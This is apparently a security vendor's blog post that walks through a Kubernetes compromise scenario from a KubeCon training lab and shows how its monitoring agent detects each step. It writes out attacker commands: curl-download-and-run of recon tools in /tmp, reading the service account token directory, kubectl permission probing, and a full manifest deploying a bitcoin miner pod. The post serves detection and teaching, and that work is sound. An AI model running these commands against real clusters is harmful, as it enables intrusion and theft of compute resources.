Investigating Kubernetes Attack Scenarios in Threat Stack (part 1)

Kubernetes operators are getting better at protecting the clusters from external attacks. This is a success story for many companies that adopted Kubernetes over the past couple of years. As many know, the early days of Kubernetes adoption was riddled with some awfully soft “defaults” in security configurations. Defaults are in quotes since there are really no Kubernetes defaults since there are so many ways to install Kubernetes and depending on the method of cluster instantiation, your “defaults” will vary.

That said, as defaults have improved for external settings, we can turn our focus to the internal security of a cluster. Here, we also see improvements, but this is now the softer center to the crunchy external shell of the cluster. This blog post will speak to what attackers are doing once inside the cluster and how to detect and respond to these attacks.

KubeCon Presentation and Attack Scenarios

I recently watched an awesome video presentation by Brad Geesman, Jimmy Mesta, Tabitha Sable, and Peter Benjamin from this past KubeCon called “Attacking and Defending Kubernetes Clusters”. The group’s presentation underscored some likely scenarios of cluster compromise. The group also created a website with sample code for anyone to play along at home. I am going to briefly review some of the items in this presentation and show how cluster operators can detect these attacks.

Scenario 1: Opportunistic Bitcoin Mining

The first attack scenario is based on an opportunistic attacker scanning and then finding a web shell. This could be an example of a system that was compromised and then, once the web shell is accessed, the attacker starts off by issuing common information discovery commands. Commands like id, uname -a, ps -ef, df -h, and netstat -nl can give an attacker some context as to what type of system and environment they are in. This is true for many attacks: often, attackers need context before moving around the environment.

The signals needed to tell this story are split across the stack, from containers, nodes, pods, and clusters. When deployed into a Kubernetes cluster, the Threat Stack Agent does a great job of observing activity within running containers, and also capturing Kubernetes orchestration events. Here, the Threat Stack Agent audited all the commands issued on the container and sent them to the Threat Stack platform:

After the attacker’s initial recon, they realize they are in a container. They then use two specific tools to further explore the system:

1. Unix-privesc-check: A utility to look for common privilege escalation techniques
2. Amicontained: A utility to verify if you are in a container

The commands below are a common attack pattern:

• Move to /tmp
• Download a binary via curl
• chmod the binary (make it executable)
• Execute the binary

And here are the corresponding example commands:

cd /tmp; curl https://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz | tar -xzvf -; unix-privesc-check-1.4/unix-privesc-check standard

cd /tmp; curl -L -o amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.7/amicontained-linux-amd64; chmod 555 amicontained; ./amicontained

The agent generates these events, providing visibility and alerting for these behaviors.

These commands confirm the attacker is in a container and it is managed by Kubernetes. The next step is to explore the Kubernetes environment. Here’s an example command:

env | grep -i kube
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
ls /var/run/secrets/kubernetes.io/serviceaccount

Above, the attacker starts by looking at environment variables specific to anything with the string “kube” in it. That produces the Kubernetes-related environment variables (and their values!) below.

With this knowledge, the attacker then uses the variables to craft a curl request for the Kubernetes API endpoint version.

The attacker now knows they’re dealing with Kubernetes version 1.14.10, and that it’s most likely a cluster on the Google Kubernetes Engine (GKE) platform. Depending on the version, this lets the attacker narrow down a shortlist of CVEs that might be applicable. They then look into the default secrets directory where the service account token is stored.

This activity manifests itself in Threat Stack as Docker events:

The attacker can now focus on exploiting the trust the API server has for the service account token. The attacker downloads a kubectl binary and uses the service token to explore the Kubernetes environment more. (Again, all this activity happens on the container via a webshell.)

The commands, up until this point, created no Kubernetes audit logs since they were outside the purview of the orchestration layer. That is why knowing behaviors and service execution patterns on containers is vital to Kubernetes security. Once the attacker downloads the kubectl binary and starts issuing commands to the Kubernetes API server, they start creating logs/events visible to both the API server and the Threat Stack Agent.

The detailed signal below shows the series of system calls we observe when a curl or wget command is used to download a file.

The execution of curl:

The associated DNS request:

The associated network “connect” to the resolved destination IP:

Once the “kubectl” binary is downloaded, the attacker changes permission on the file to make it executable:

The events further below show execution of the kubectl binary with associated arguments. These commands will be seen by both Threat Stack and the Kubernetes audit and API logs. With these commands, the attacker is trying to discover what they are allowed to do within the cluster with the default service token. This could be considered more recon behavior, arming the attacker with more information to help them reach their goals.

The commands kubectl get all and kubectl get all -A attempt to get all resources in all namespaces. The kubectl auth can-i commands are literally asking the Kubernetes API server if the attacker’s current user has permission to perform the actions in the corresponding arguments.

From here, it’s simply a matter of running allowed commands. While Kubernetes provides the auth can-i subcommand as an administrative tool for testing RBAC controls, it can also serve as an attacker recon tool if not closely monitored by a runtime security tool like Threat Stack.

As you might have guessed, the attacker gets great news from the API server when executing the ./kubectl auth can-i create pod command and the API response was “YES”. With this information, the attacker deploys their bitcoin miner of choice via this command:

cd /tmp; cat > bitcoinero.yml <<EOF
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  labels:
    run: bitcoinero
  name: bitcoinero
  namespace: prd
spec: 
  replicas: 1
  revisionHistoryLimit: 2
  selector:
    matchLabels:
      run: bitcoinero
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      labels:
        run: bitcoinero
    spec:
      containers:
      - image: securekubernetes/bitcoinero:latest
        name: bitcoinero
        command: ["./moneymoneymoney"]
        args:
        - -c
        - "1"
        - -l
        - "10"
        resources:
          requests:
            cpu: 100m
            memory: 128Mi
          limits:
            cpu: 200m
            memory: 128Mi 
EOF

./kubectl apply -f bitcoinero.yml
sleep 10
./kubectl get pods

Here’s the corresponding container signal in Threat Stack:

The attacker knows they were successful when they see the “bitcoinero” pod running in the cluster. We also see the Kubernetes signal that the attacker was successful.

With this scenario we mainly focus on what the attacker did within the cluster and the resulting Threat Stack events, both from the container and Kubernetes orchestration layer.

Click here for Part 2 of the series where I review a more sophisticated attack and show how Threat Stack observes attacker activity every step of the way. We will also cover how to make these events actionable by alerting on certain signal.

Example commands and YAML were taken from the securekubernetes project, scenario 1. Thank you to @tabbysable, @petermbenjamin, @jimmesta, @BradGeesaman for their excellent tutorial and presentation.